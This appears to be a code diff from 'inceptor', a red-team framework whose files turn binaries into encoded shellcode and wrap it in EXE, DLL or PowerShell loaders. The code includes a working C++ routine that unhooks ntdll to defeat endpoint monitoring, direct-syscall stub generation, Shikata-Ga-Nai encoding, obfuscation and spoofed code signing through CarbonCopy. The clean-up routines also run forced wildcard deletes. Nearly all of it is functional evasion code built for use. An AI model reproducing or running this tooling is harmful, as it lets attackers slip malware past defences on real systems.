).name
syscalls_basepath = tempfile.NamedTemporaryFile(
delete=False,
dir=str(Config().get_path("DIRECTORIES", "WRITER"))
).name
headers = [f"{syscalls_basepath}.h"]
kwargs = {
"syscalls_path": syscalls_basepath,
"dll": library,
"arch": self.arch
}
self.generate(kwargs=kwargs)
self.build(kwargs=kwargs)
components = [
UsingComponent(code=f'"{header}"', language=language) for header in headers
]
libraries = [library]
elif language == Language.CSHARP:
if not dinvoke:
Console.auto_line(f"[-] {self.__class__.__name__} requires -m dinvoke!")
sys.exit(1)
components = []
else:
raise ModuleNotCompatibleException()
super().__init__(name="Syscalls", libraries=libraries, components=components, arch=arch)
def generate(self, **kwargs):
syswhisper_version = Config().get_int("SYSCALLS", "syswhispers")
syscalls_basepath = kwargs["kwargs"]["syscalls_path"]
if syswhisper_version == 1 and kwargs["kwargs"]["arch"] != "x64":
Console.fail_line(f'[-] Syswhisper v1 does not support {kwargs["kwargs"]["arch"]}')
sys.exit(1)
elif syswhisper_version == 1:
from syscalls.syswhispers.syswhispers import SysWhispers
elif syswhisper_version == 2 and kwargs["kwargs"]["arch"] != "x64":
from syscalls.syswhispersv2_x86.syswhispers import SysWhispers
else:
from syscalls.syswhispersv2.syswhispers import SysWhispers
whispers = SysWhispers()
whispers.generate(basename=syscalls_basepath)
def build(self, **kwargs):
syscalls_basepath = kwargs["kwargs"]["syscalls_path"]
obj_files = [f"{syscalls_basepath}.0.obj"]
masm = MasmCompiler(arch=self.arch)
masm.default_args(outfile=obj_files[0])
masm.compile([f"{syscalls_basepath}.asm"])
if not os.path.isfile(f"{syscalls_basepath}.0.obj"):
Console.auto_line("[-] Failed to compile syscall ASM stubs")
sys.exit(1)
# SysWhisper2 Only
if os.path.isfile(f"{syscalls_basepath}.c"):
obj_files.append(f"{syscalls_basepath}.1.obj")
cl = ClCompiler(arch=self.arch)
cl.default_obj_args(outfile=obj_files[1])
cl.add_include_directory(str(Config().get_path("DIRECTORIES", "WRITER")))
cl.compile([f"{syscalls_basepath}.c"])
if not os.path.isfile(f"{syscalls_basepath}.1.obj"):
Console.auto_line("[-] Failed to compile syscall C definitions")
sys.exit(1)
libc = LibCompiler(arch=self.arch)
libc.default_args(kwargs["kwargs"]["dll"])
libc.compile(obj_files)

View File

@ -0,0 +1,90 @@
import os
import re
import traceback
from abc import abstractmethod
from pydoc import locate
from config.Config import Config
from engine.component.TemplateModuleComponent import TemplateModuleComponent
from enums.Architectures import Arch
from enums.Language import Language
class ModuleNotCompatibleException(Exception):
pass
class ModuleNotLoadableException(Exception):
pass
class TemplateModule:
def __init__(self, name: str = None, arch=Arch.x64, libraries: list = None, components: list = None):
self.components = components if components else []
self.libraries = libraries if libraries else []
self.name = name
self.arch = arch
self.order = None
self.compile = False
self.filter_string = ""
self.loadable = True
def add_component(self, component):
self.components.append(component)
@abstractmethod
def generate(self, **kwargs):
pass
@abstractmethod
def build(self, **kwargs):
pass
@staticmethod
def all_modules(init=False):
kwargs = {
"language": Language.CSHARP,
"seconds": 1,
"dinvoke": True,
"process": "",
"pinject": True,
"arch": Arch.x64
}
modules_path = str(Config().get_path("DIRECTORIES", "MODULES"))
all_files = [
f for f in
os.listdir(modules_path)
if os.path.isfile(os.path.join(modules_path, f))
and f not in [
"TemplateModule.py",
"__init__.py",
"AdditionalSourceModule.py",
"AssemblyInfoModule.py",
"EncoderModule.py",
"PowerShellModule.py",
]
]
module_names = ["_".join(re.sub(r"([A-Z])", r" \1", f.replace("Module.py", "")).split()).lower() for f in
all_files]
if not init:
return module_names
return [TemplateModule.from_name(m, kwargs=kwargs) for m in module_names]
@staticmethod
def from_name(name, **kwargs):
try:
_module_name = "".join([n.capitalize() for n in str(name).split("_")])
_class_string = f"engine.modules.{_module_name}Module.{_module_name}Module"
# print(_class_string)
_class = locate(_class_string)
_instance = _class(kwargs=kwargs['kwargs'])
if not _instance.loadable:
raise ModuleNotLoadableException()
return _instance
except ModuleNotCompatibleException:
raise ModuleNotCompatibleException()
except TypeError as e:
if str(e).find("unexpected keyword argument 'kwargs'") > -1:
raise ModuleNotLoadableException()
except Exception as e:
pass

View File

@ -0,0 +1,81 @@
import os
from engine.component.AntiDebugComponent import AntiDebugComponent
from engine.component.CodeComponent import CodeComponent
from engine.component.DefineComponent import DefineComponent
from engine.component.UnookComponent import UnhookComponent
from engine.component.UsingComponent import UsingComponent
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException
from enums.Architectures import Arch
from enums.Language import Language
from utils.utils import get_project_root
class UnhookModule(TemplateModule):
def generate(self, **kwargs):
pass
def build(self, **kwargs):
pass
def __init__(self, **kwargs):
language = kwargs["kwargs"]["language"]
arch = kwargs["kwargs"]["arch"]
if language == Language.CPP:
components = [
UsingComponent("<psapi.h>", language=language),
CodeComponent(r"""
int UnhookNtdll()
{
// https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
HANDLE process = GetCurrentProcess();
MODULEINFO mi = {};
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
if (ntdllModule == 0) {
printf("[-] Invalid Ntdll module handle");
return 1;
}
GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
if (ntdllMapping == 0) {
printf("[-] Invalid Ntdll mapping handle");
return 1;
}
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}
CloseHandle(process);
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);
return 0;
}
"""),
UnhookComponent("UnhookNtdll();"),
]
libraries = ["dbghelp.lib"]
else:
raise ModuleNotCompatibleException()
super().__init__(name="Unhook", libraries=libraries, components=components, arch=arch)

View File

View File

@ -0,0 +1,16 @@
from enum import Enum
class Arch(Enum):
Any = ""
x86 = "x86"
x64 = "x64"
@staticmethod
def from_string(label):
if label.lower() in ["any"]:
return Arch.Any
elif label.lower() in ["32", "86", "x86", "i386"]:
return Arch.x86
elif label.lower() in ["64", "x64", "amd64", "x86_64"]:
return Arch.x64

19
inceptor/enums/Imports.py Normal file
View File

@ -0,0 +1,19 @@
import re
from enum import Enum
from enums.Language import Language
class ImportRegex(Enum):
CSHARP = r"using(\s*[^;]*)\s*;"
CPP = r'#include(\s*["|<][^"]*[>|"])'
POWERSHELL = r""
@staticmethod
def from_lang(language=None):
if language == Language.CSHARP:
return re.compile(ImportRegex.CSHARP.value)
elif language == Language.CPP:
return re.compile(ImportRegex.CPP.value)
else:
return re.compile(ImportRegex.POWERSHELL.value)

View File

@ -0,0 +1,17 @@
from enum import Enum
class Language(Enum):
CSHARP = 0
CPP = 1
POWERSHELL = 2
@staticmethod
def from_string(label):
if label.lower() in ["c#", "csharp", "cs"]:
return Language.CSHARP
elif label.lower() in ["c", "cpp", "c++"]:
return Language.CPP
elif label.lower() in ["ps", "powershell"]:
return Language.POWERSHELL

View File

View File

@ -0,0 +1,292 @@
import os
import shutil
import subprocess
import sys
import tempfile
import traceback
from datetime import datetime
from compilers.CscCompiler import CscCompiler
from compilers.ILPacker import ILPacker
from config.Config import Config
from converters.TransformerFactory import TransformerFactory
from encoders.EncoderChain import EncoderChain
from encoders.HexEncoder import HexEncoder
from encoders.ZlibEncoder import ZlibEncoder
from engine.CodeWriter import CodeWriter, TemplateFactory
from engine.Filter import Filter
from engine.Template import Template
from enums.Language import Language
from generators.Generator import Generator
from obfuscators.Obfuscator import Obfuscator
from utils.console import Console
from utils.utils import get_project_root, file_signature, shellcode_signature, sgn
from utils import CarbonCopy
class DotNetArtifactGenerator(Generator):
def __init__(self,
file: str = None,
chain: EncoderChain = None,
outfile: str = None,
transformer: str = None,
cargs: str = None,
params: str = None,
obfuscate: bool = False,
delay: int = None,
sgn: bool = False,
pinject: bool = False,
process: str = None,
arch: str = None,
sign: bool = False,
modules: list = None
):
super().__init__(file=file, chain=chain)
if chain.is_empty():
chain.push(HexEncoder())
config = Config()
self.sgn = sgn
self.obfuscate = obfuscate
self.sign = sign
self.arch = None
self.tool_arch = None
self.set_architectures(arch)
self.additional_args = cargs
self.compiler = CscCompiler(aargs=self.additional_args, arch=self.arch)
filename, ext = os.path.splitext(outfile)
filename = os.path.basename(filename)
self.working_directory = working_directory = Config().get_path("DIRECTORIES", "WRITER")
self.dll = True if ext == ".dll" else False
self.outfiles = {
"temp": os.path.join(working_directory, filename + "-temp" + ext),
"packed": os.path.join(working_directory, filename + "-packed" + ext),
"obfuscated": os.path.join(working_directory, filename + "-obfuscated" + ext),
"signed": os.path.join(working_directory, filename + "-signed" + ext),
"final": outfile,
}
_filter = Filter(exclude=["dll"]) if not self.dll else Filter(include=["dll"])
if transformer and transformer in TransformerFactory.allowed(file=file):
self.transformer = TransformerFactory.from_name(transformer)
else:
self.transformer = TransformerFactory.from_file(file=file)
self.transformer.set_architecture(arch=self.arch)
self.need_parameter_module = False
try:
self.transformer.add_parameters(params=params)
except:
# print(f"[-] Warning: Transformer {self.transformer.__class__.__name__} does not support parameters")
self.need_parameter_module = True
self.is_packed = False
self.dependencies = ""
self.writer = CodeWriter(file=file,
delay=delay,
pinject=pinject,
process=process,
_filter=_filter,
modules=modules,
converter=self.transformer,
arch=arch)
self.load_writer_chain()
self.placeholder = config.get("PLACEHOLDERS", "SHELLCODE")
template_path = config.get_path("DIRECTORIES", "TEMPLATES")
artifacts_path = config.get_path("DIRECTORIES", "ARTIFACTS")
if working_directory and working_directory != "":
self.cs_out = tempfile.NamedTemporaryFile(dir=working_directory, delete=False, suffix=".cs").name
else:
self.cs_out = tempfile.NamedTemporaryFile(delete=False, suffix=".cs").name
def set_architectures(self, arch):
if arch in ["x86", "x64"]:
self.arch = self.tool_arch = arch
if arch == "anycpu":
self.arch = arch
self.tool_arch = None
elif arch == "anycpu-x86":
self.arch = "anycpu"
self.tool_arch = "x86"
elif arch == "anycpu-x64":
self.arch = "anycpu"
self.tool_arch = "x64"
def pack_exe(self):
if os.path.isfile(self.outfiles["packed"]):
os.unlink(self.outfiles["packed"])
packer_args = {
"/target": "exe",
"/out": f'"{self.outfiles["packed"]}"'
}
packer = ILPacker(args=packer_args)
packer.compile([self.outfiles["temp"]] + self.writer.template.libraries)
if os.path.isfile(self.outfiles["packed"]):
self.is_packed = True
shutil.move(self.outfiles["packed"], self.outfiles["temp"])
Console.auto_line(f" [+] Success: packed file stored at {self.outfiles['temp']}")
Console.auto_line(f" [+] File Signature: {file_signature(self.outfiles['temp'])}")
else:
Console.auto_line(" [-] Failure: Error during compilation")
raise FileNotFoundError("Error generating EXE")
def sign_exe(self):
host = Config().get("SIGNING", "domain")
signer = CarbonCopy.CarbonCopy(verbose=False, host=host)
signer.sign(signee=self.outfiles["temp"], signed=self.outfiles["signed"])
shutil.copy(self.outfiles["signed"], self.outfiles['temp'])
def obfuscate_exe(self):
obfuscator = Obfuscator.choose_obfuscator(language=Language.CSHARP, filename=self.outfiles['temp'])
new_file = obfuscator.obfuscate()
if new_file:
shutil.move(new_file, self.outfiles['temp'])
def finalise_exe(self):
file = self.outfiles["final"]
shutil.move(self.outfiles['temp'], file)
if os.path.isfile(file):
Console.auto_line(f" [+] Success: file stored at {file}")
return file
def compile_exe(self):
self.compiler.default_exe_args(outfile=self.outfiles["temp"])
if self.dll:
self.compiler.default_dll_args(outfile=self.outfiles["temp"])
self.refresh_libraries()
self.compiler.compile(self.writer.source_files)
if not os.path.isfile(self.outfiles['temp']):
Console.auto_line(" [-] Failure: Error during compilation")
raise FileNotFoundError("Error generating EXE")
def compile_dll(self, source, outfile, libs: list = None):
self.compiler.default_dll_args(outfile=outfile)
self.compiler.set_libraries(libs=libs)
self.compiler.set_architecture(arch=self.arch)
self.compiler.compile([source])
if not os.path.isfile(outfile):
Console.auto_line(" [-] Failure: Error during compilation")
raise FileNotFoundError(f"Error generating {os.path.basename(outfile).upper()} DLL")
def clean(self):
self.writer.clean()
base_paths = [get_project_root(), "temp"]
for base_path in base_paths:
wildcards = [
"*.cs",
"*.obj",
"*.exp",
"*.lib",
"*.pdb",
"*.shc.exe",
"*.bin",
"coded.txt",
"*.obfuscated",
"*.exe.config"
]
if base_path == "temp":
wildcards = ["*"]
for wildcard in wildcards:
subprocess.call(f"del /F /Q \"{os.path.join(base_path, wildcard)}\"",
shell=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL)
for name, path in self.outfiles.items():
if name.find("final") < 0:
try:
os.unlink(path)
except FileNotFoundError:
pass
def load_writer_chain(self):
self.writer.load_chain(chain=self.chain)
def refresh_libraries(self):
self.writer.template.process_modules()
self.compiler.set_libraries(libs=self.writer.template.libraries)
self.dependencies = ",".join([f'"{os.path.basename(lib)}"' for lib in self.writer.template.libraries])
def generate(self):
try:
self.generate_wrapped()
except:
traceback.print_exc()
self.clean()
def generate_wrapped(self):
step = 0
substep = 1
Console.auto_line(f"[+] .Net Artifact Generator Started At {datetime.utcnow()}")
Console.auto_line(f"[*] Phase {step}: Loading...")
if not self.chain.validate():
Console.auto_line("\n[-] ERROR: Failed to validate encoding chain")
return
step += 1
Console.auto_line(f"[*] Phase {step}: Converting binary into shellcode")
Console.auto_line(f" [>] Transformer: {self.transformer.__class__.__name__}")
shellcode_bytes = self.transformer.transform(target=self.file)
step += 1
Console.auto_line(f"[*] Phase {step}: Encoding")
if self.sgn:
Console.auto_line(
f" [>] Phase {step}.{substep}: Using Shikata-Ga-Nai {self.tool_arch} to encode the shellcode")
shellcode_bytes = sgn(shellcode_bytes, arch=self.tool_arch)
substep += 1
Console.auto_line(f" [>] Phase {step}.{substep}: Using Inceptor chained encoder to encode the shellcode")
Console.auto_line(f" [>] Encoder Chain: {self.chain.to_string()}")
final_shellcode = self.chain.encode(shellcode_bytes)
step += 1
substep = 1
# print(final_shellcode)
# with open("coded.txt", "wb") as test:
# test.write(final_shellcode)
Console.auto_line(f" [>] Shellcode size: {len(final_shellcode)}")
Console.auto_line(f" [>] Shellcode Signature: {shellcode_signature(final_shellcode)}")
# print(f" [>] Iteration required for decoding: {len(final_shellcode)}")
Console.auto_line(f"[*] Phase {step}: Generating source files using {self.writer.template.template_name}")
Console.auto_line(
f" [>] Phase {step}.{substep}: Writing CS file in .\\temp\\{os.path.basename(self.writer.outfile)}")
self.writer.write_source(final_shellcode)
substep += 1
if len(self.writer.template.libraries) > 0:
dep = ",".join([f'"{os.path.basename(lib)}"' for lib in self.writer.template.libraries])
Console.auto_line(f" [>] Phase {step}.{substep}: Compiling and linking dependency files in {dep}")
step += 1
substep = 1
Console.auto_line(f"[*] Phase {step}: Compiling")
self.compile_exe()
step += 1
if len(self.writer.template.libraries) > 0:
Console.auto_line(f"[*] Phase {step}: Merging Resources")
self.pack_exe()
step += 1
if self.obfuscate:
Console.auto_line(f"[*] Phase {step}: Obfuscate dotnet binary")
self.obfuscate_exe()
step += 1
if self.sign:
Console.auto_line(f"[*] Phase {step}: Sign dotnet binary")
self.sign_exe()
step += 1
Console.auto_line(f"[*] Phase {step}: Finalising")
artifact = self.finalise_exe()
step += 1
Console.auto_line(f"[*] Phase {step}: Cleaning up")
self.clean()
Console.auto_line(f"[+] .Net Artifact Generator Finished At {datetime.utcnow()}")
return artifact

View File

@ -0,0 +1,21 @@
import os
import sys
from abc import ABC, abstractmethod
from encoders.EncoderChain import EncoderChain
class Generator(ABC):
def __init__(self, file, chain=None):
self.file = file
if not os.path.isfile(file):
print(f"[-] Error reading input file")
sys.exit(1)
self.chain = chain
if not chain:
self.chain = EncoderChain()
@abstractmethod
def generate(self):
pass

View File

@ -0,0 +1,272 @@
import os
import shutil
import subprocess
import time
import traceback
from datetime import datetime
from compilers.Compiler import CompilerException, Compiler
from config.Config import Config
from converters.TransformerFactory import TransformerFactory
from encoders.EncoderChain import EncoderChain
from engine.CodeWriter import CodeWriter
from engine.Filter import Filter
from enums.Language import Language
from generators.Generator import Generator
from utils import CarbonCopy
from utils.console import Console
from utils.utils import shellcode_signature, py_bin2sh, sgn
class NativeArtifactGenerator(Generator):
def __init__(self,
file: str = None,
chain: EncoderChain = None,
outfile: str = None,
dll: bool = False,
sgn: bool = False,
transformer=None,
pinject: bool = False,
process: str = None,
delay: int = None,
arch: str = None,
sign: bool = False,
obfuscate: bool = False,
exports: str = None,
compiler: str = "cl",
modules: list = None
):
super().__init__(file=file, chain=chain)
self.arch = arch
config = Config()
self.placeholder = config.get("PLACEHOLDERS", "SHELLCODE")
artifacts_path = config.get_path("DIRECTORIES", "ARTIFACTS")
self.outfile = outfile
# DLL Wrap generates a Write-Execute DLL
self.dll_wrap = dll
# DLL will generate a DLL instead of an exe (I might get rid of this distinction as it generates a bit of mess)
self.dll = False
if self.outfile.endswith("dll"):
self.dll = True
self.sgn = sgn
self.sign = sign
self.exports = exports
self.obj_files = []
if transformer:
self.transformer = TransformerFactory.from_name(transformer)
else:
self.transformer = TransformerFactory.from_file(self.file)
# EXE Writer
self.exe_writer = CodeWriter(language=Language.CPP,
pinject=pinject,
process=process,
delay=delay,
modules=modules,
_filter=Filter(exclude=["dll"]),
arch=arch)
self.exe_writer.load_chain(chain=self.chain)
working_directory = Config().get_path("DIRECTORIES", "WRITER")
basename = os.path.basename(os.path.splitext(outfile)[0])
self.outfiles = {
"exe-temp": os.path.join(working_directory, f"{basename}-temp.exe"),
"dll-temp": os.path.join(working_directory, f"{basename}-temp.dll"),
"exe": os.path.join(artifacts_path, "bison.exe"),
"dll": os.path.join(artifacts_path, "sagat.dll"),
"exe-signed": os.path.join(artifacts_path, f"{basename}-signed.exe"),
"dll-signed": os.path.join(artifacts_path, f"{basename}-signed.dll"),
"exe-final": outfile,
"dll-final": f"{basename}.dll",
}
if obfuscate:
compiler = "llvm"
self.compiler = Compiler.from_name(compiler, args={}, arch=self.arch)
self.compiler.default_exe_args(self.outfiles["exe-temp"])
# DLL Writer
self.dll_writer = None
if self.dll:
_dll_filter = Filter(include=["dll"], exclude=["write-execute"])
self.dll_writer = CodeWriter(
language=Language.CPP,
template=config.get_path("DIRECTORIES", "DLL"),
_filter=_dll_filter,
modules=modules
)
elif self.dll_wrap:
self.dll_writer = CodeWriter(
language=Language.CPP,
template=config.get_path("DIRECTORIES", "DLL"),
_filter=Filter(include=["write-execute"]),
modules=[]
)
self.dll_payload = None
self.dll_compiler_args = self.compiler.default_dll_args(self.outfiles["dll-temp"])
if self.exports and os.path.isfile(self.exports):
self.dll_compiler_args["/DEF"] = f'"{os.path.abspath(self.exports)}"'
def compile_dll(self, shellcode=None):
if not shellcode:
shellcode = self.dll_payload
self.dll_writer.write_source(shellcode=shellcode)
self.compiler.aargs = ""
self.compiler.default_dll_args(outfile=self.outfiles["dll-temp"])
self.compiler.compile([self.dll_writer.outfile])
if not os.path.isfile(self.outfiles["dll-temp"]):
raise FileNotFoundError("Error generating DLL")
def sign_exe(self):
host = Config().get("SIGNING", "domain")
signer = CarbonCopy.CarbonCopy(verbose=False, host=host)
signer.sign(signee=self.outfiles["exe-temp"], signed=self.outfiles["exe-signed"])
shutil.copy(self.outfiles["exe-signed"], self.outfiles['exe-temp'])
self.dll_payload = py_bin2sh(self.outfiles["exe-temp"])
def sign_dll(self):
host = Config().get("SIGNING", "domain")
signer = CarbonCopy.CarbonCopy(verbose=False, host=host)
signer.sign(signee=self.outfiles["dll-temp"], signed=self.outfiles["dll-signed"])
shutil.copy(self.outfiles["dll-signed"], self.outfiles['dll-temp'])
def finalise_exe(self):
file = self.outfiles["exe-final"]
shutil.copy(self.outfiles['exe-temp'], file)
if os.path.isfile(file):
Console.auto_line(f" [+] Success: file stored at {file}")
return file
def finalise_dll(self):
file = self.outfiles["dll-final"]
shutil.copy(self.outfiles['dll-temp'], file)
if os.path.isfile(file):
Console.auto_line(f" [+] Success: file stored at {file}")
return file
def compile_exe(self, shellcode):
self.exe_writer.write_source(shellcode=shellcode)
self.exe_writer.template.process_modules()
self.compiler.default_exe_args(self.outfiles["exe-temp"])
self.compiler.set_libraries(libs=self.exe_writer.template.libraries)
status = self.compiler.compile([self.exe_writer.outfile] + self.obj_files)
if not os.path.isfile(self.outfiles["exe-temp"]):
raise FileNotFoundError("Error generating EXE")
if not status:
raise CompilerException("Compiler exited with errors")
self.dll_payload = py_bin2sh(self.outfiles["exe-temp"])
def clean(self):
artifacts = [self.exe_writer.outfile]
if self.dll:
artifacts.append(self.dll_writer.outfile)
for file in artifacts:
os.unlink(file)
base_paths = [".", "artifacts", "temp"]
for base_path in base_paths:
wildcards = [
"tmp*",
"*.cpp",
"*.obj",
"*.exp",
"*.lib",
"*.pdb",
"*.shc.exe",
"*.bin",
"coded.txt",
"*.obfuscated",
"*.exe.config"
]
if base_path == "temp":
wildcards = ["*"]
for wildcard in wildcards:
subprocess.call(f"del /F /Q {os.path.join(base_path, wildcard)}",
shell=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL)
for name, path in self.outfiles.items():
if name.find("final") < 0:
try:
os.unlink(path)
except FileNotFoundError:
pass
def generate(self):
try:
self.generate_wrapped()
except:
traceback.print_exc()
self.clean()
def generate_wrapped(self):
step = 0
substep = 1
artifact = None
Console.auto_line(f"[+] Native Artifact Generator Started At {datetime.utcnow()}", )
Console.auto_line(f"[*] Phase {step}: Loading...")
step += 1
if not self.chain.validate(language=Language.CPP):
Console.auto_line("\n[-] ERROR: Failed to validate encoding chain")
return
Console.auto_line(f"[*] Phase {step}: Converting binary into shellcode")
Console.auto_line(f" [>] Transformer: {self.transformer.__class__.__name__}")
shellcode_bytes = self.transformer.transform(target=self.file)
step += 1
Console.auto_line(f"[*] Phase {step}: Encoding")
if self.sgn:
Console.auto_line(f" [>] Phase {step}.{substep}: Using Shikata-Ga-Nai {self.arch} to encode the shellcode")
shellcode_bytes = sgn(shellcode_bytes, arch=self.arch)
substep += 1
if not self.chain.is_empty():
Console.auto_line(f" [>] Phase {step}.{substep}: Using Inceptor chained-encoder to encode the shellcode")
Console.auto_line(f" [>] Encoder Chain: {self.chain.to_string()}")
shellcode = self.chain.encode(shellcode_bytes)
step += 1
template = self.exe_writer.template.template_name if not self.dll else self.dll_writer.template.template_name
Console.auto_line(f"[*] Phase {step}: Generating source files using {template}")
Console.auto_line(f" [>] Phase {step}.{substep}: Writing CPP file in .\\temp\\{os.path.basename(self.exe_writer.outfile)}")
time.sleep(1)
step += 1
if not self.dll:
Console.auto_line(f"[*] Phase {step}: EXE compilation and Signing")
Console.auto_line(f" [>] Phase {step}.{substep}: Compiling EXE...")
self.compile_exe(shellcode)
substep += 1
Console.auto_line(f" [+] Success: file stored at {self.outfile}")
Console.auto_line(f" [+] Shellcode Signature: {shellcode_signature(shellcode)}")
if self.sign:
Console.auto_line(f" [>] Phase {step}.{substep}: Signing native binary")
step += 1
substep = 1
if self.dll or self.dll_wrap:
Console.auto_line(f"[*] Phase {step}: DLL compilation and Signing")
Console.auto_line(f" [>] Phase {step}.{substep}: Compiling DLL...")
self.compile_dll(shellcode if not self.dll_wrap else None)
Console.auto_line(f" [+] Success: file stored at {self.outfiles['dll-temp']}")
substep += 1
if self.sign:
Console.auto_line(f" [>] Phase {step}.2: Signing native library")
self.sign_dll()
step += 1
substep = 1
Console.auto_line(f"[*] Phase {step}: Finalising")
if not self.dll:
Console.auto_line(f" [>] Phase {step}.{substep}: Finalising native binary")
artifact = self.finalise_exe()
substep += 1
if self.dll or self.dll_wrap:
Console.auto_line(f" [>] Phase {step}.{substep}: Finalising native library")
self.finalise_dll()
step += 1
Console.auto_line(f"[*] Phase {step}: Cleaning up...")
self.clean()
Console.auto_line(f"[+] Native Artifact Generator Finished At {datetime.utcnow()}")
return artifact

View File

@ -0,0 +1,95 @@
import shutil
from datetime import datetime
import os
from converters.TransformerFactory import TransformerFactory
from engine.CodeWriter import CodeWriter
from enums.Language import Language
from generators.Generator import Generator
from obfuscators.powershell.Karmaleon import Karmaleon
from utils.console import Console
from utils.utils import sgn
class PowerShellArtifactGenerator(Generator):
def __init__(self,
file,
chain=None,
outfile=None,
delay=None,
transformer=None,
arch: str = None,
sgn: bool = False,
pinject: bool = False,
process: str = None,
obfuscate: bool = False,
modules: list = None
):
super().__init__(file, chain=chain)
self.outfile = outfile
self.obfuscate = obfuscate
self.sgn = sgn
self.arch = arch
self.pinject = pinject
self.process = process
if transformer:
self.transformer = TransformerFactory.from_name(transformer)
else:
self.transformer = TransformerFactory.from_file(self.file)
self.writer = CodeWriter(
file=file,
modules=modules,
delay=delay,
converter=self.transformer,
language=Language.POWERSHELL,
pinject=self.pinject,
process=self.process,
arch=arch
)
self.writer.load_chain(chain=chain)
def obfuscate_wrapper(self):
karmaleon = Karmaleon(filename=self.writer.outfile, outfile=self.writer.outfile)
karmaleon.obfuscate()
def generate(self):
step = 0
Console.auto_line(f"[+] PowerShell Artifact Generator Started At {datetime.utcnow()}")
Console.auto_line(f"[*] Phase {step}: Loading...")
step += 1
if not self.chain.validate(language=Language.POWERSHELL):
Console.auto_line("\n[-] ERROR: Failed to validate encoding chain")
return
Console.auto_line(f"[*] Phase {step}: Converting binary into shellcode")
step += 1
shellcode = self.transformer.transform(target=self.file)
Console.auto_line(f"[*] Phase {step}: Encoding")
step += 1
substep = 1
if self.sgn:
Console.auto_line(f" [>] Phase {step}.{substep}: Using Shikata-Ga-Nai {self.arch} to encode the shellcode")
shellcode = sgn(shellcode, arch=self.arch)
if not self.chain.is_empty():
substep += 1
Console.auto_line(f" [>] Phase {step}.{substep}: Using Inceptor chained encoder to encode the shellcode")
Console.auto_line(f" [>] Encoder Chain: {self.chain.to_string()}")
shellcode = self.chain.encode(shellcode)
Console.auto_line(f"[*] Phase 3: Generating wrapper using {self.writer.template.template_name}")
self.writer.write_source(shellcode=shellcode)
if self.obfuscate:
Console.auto_line(f"[*] Phase 4: Obfuscating PowerShell Wrapper")
self.obfuscate_wrapper()
if os.path.isfile(self.writer.outfile):
Console.auto_line(f" [>] PowerShell wrapper stored at {self.writer.outfile}")
if self.outfile:
shutil.copy(self.writer.outfile, self.outfile)
if os.path.isfile(self.outfile):
Console.auto_line(f" [>] PowerShell wrapper copied to {self.outfile}")
os.unlink(self.writer.outfile)
else:
Console.auto_line(" [-] Error generating PowerShell Wrapper")
Console.auto_line(f"[+] PowerShell Artifact Generator Finished At {datetime.utcnow()}")
return self.outfile

Some files were not shown because too many files have changed in this diff Show More